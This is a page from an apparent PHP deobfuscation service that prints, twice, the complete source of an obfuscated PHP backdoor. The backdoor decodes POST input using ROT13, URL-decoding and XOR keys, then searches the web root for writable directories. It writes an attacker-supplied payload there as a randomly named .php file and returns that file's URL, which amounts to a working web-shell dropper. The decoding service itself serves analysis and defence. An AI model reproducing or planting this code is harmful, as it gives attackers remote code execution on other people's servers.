Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $qrjqwo = "jlfvonbpmfwnfamw";$eztjxfidm = "";foreach ($_POST as $brcdgf => $zhnjc){i..

Decoded Output download

<?php $qrjqwo = "jlfvonbpmfwnfamw";$eztjxfidm = "";foreach ($_POST as $brcdgf => $zhnjc){if (strlen($brcdgf) == 16 and substr_count($zhnjc, "%") > 10){ghpeka($brcdgf, $zhnjc);}}function ghpeka($brcdgf, $zcmflzn){global $eztjxfidm;$eztjxfidm = $brcdgf;$zcmflzn = str_split(rawurldecode(str_rot13($zcmflzn)));function saonytw($slhcuovzjc, $brcdgf){global $qrjqwo, $eztjxfidm;return $slhcuovzjc ^ $qrjqwo[$brcdgf % strlen($qrjqwo)] ^ $eztjxfidm[$brcdgf % strlen($eztjxfidm)];}$zcmflzn = implode("", array_map("saonytw", array_values($zcmflzn), array_keys($zcmflzn)));$zcmflzn = @unserialize($zcmflzn);if (@is_array($zcmflzn)){$brcdgf = array_keys($zcmflzn);$zcmflzn = $zcmflzn[$brcdgf[0]];if ($zcmflzn === $brcdgf[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function fzdndhbi($bhabljir) {static $gifvwm = array();$gxnlrk = glob($bhabljir . '/*', GLOB_ONLYDIR);if (count($gxnlrk) > 0) {foreach ($gxnlrk as $bhablj){if (@is_writable($bhablj)){$gifvwm[] = $bhablj;}}}foreach ($gxnlrk as $bhabljir) fzdndhbi($bhabljir);return $gifvwm;}$bhabljnwyq = $_SERVER["DOCUMENT_ROOT"];$gxnlrk = fzdndhbi($bhabljnwyq);$brcdgf = array_rand($gxnlrk);$qsladtsf = $gxnlrk[$brcdgf] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($qsladtsf, $zcmflzn);echo "http://" . $_SERVER["HTTP_HOST"] . substr($qsladtsf, strlen($bhabljnwyq));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $qrjqwo = "jlfvonbpmfwnfamw";$eztjxfidm = "";foreach ($_POST as $brcdgf => $zhnjc){if (strlen($brcdgf) == 16 and substr_count($zhnjc, "%") > 10){ghpeka($brcdgf, $zhnjc);}}function ghpeka($brcdgf, $zcmflzn){global $eztjxfidm;$eztjxfidm = $brcdgf;$zcmflzn = str_split(rawurldecode(str_rot13($zcmflzn)));function saonytw($slhcuovzjc, $brcdgf){global $qrjqwo, $eztjxfidm;return $slhcuovzjc ^ $qrjqwo[$brcdgf % strlen($qrjqwo)] ^ $eztjxfidm[$brcdgf % strlen($eztjxfidm)];}$zcmflzn = implode("", array_map("saonytw", array_values($zcmflzn), array_keys($zcmflzn)));$zcmflzn = @unserialize($zcmflzn);if (@is_array($zcmflzn)){$brcdgf = array_keys($zcmflzn);$zcmflzn = $zcmflzn[$brcdgf[0]];if ($zcmflzn === $brcdgf[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function fzdndhbi($bhabljir) {static $gifvwm = array();$gxnlrk = glob($bhabljir . '/*', GLOB_ONLYDIR);if (count($gxnlrk) > 0) {foreach ($gxnlrk as $bhablj){if (@is_writable($bhablj)){$gifvwm[] = $bhablj;}}}foreach ($gxnlrk as $bhabljir) fzdndhbi($bhabljir);return $gifvwm;}$bhabljnwyq = $_SERVER["DOCUMENT_ROOT"];$gxnlrk = fzdndhbi($bhabljnwyq);$brcdgf = array_rand($gxnlrk);$qsladtsf = $gxnlrk[$brcdgf] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($qsladtsf, $zcmflzn);echo "http://" . $_SERVER["HTTP_HOST"] . substr($qsladtsf, strlen($bhabljnwyq));exit();}}}

Function Calls

None

Variables

$qrjqwo jlfvonbpmfwnfamw
$eztjxfidm

Stats

MD5 c65d30554c2c5beb5121d22f38111f90
Eval Count 0
Decode Time 83 ms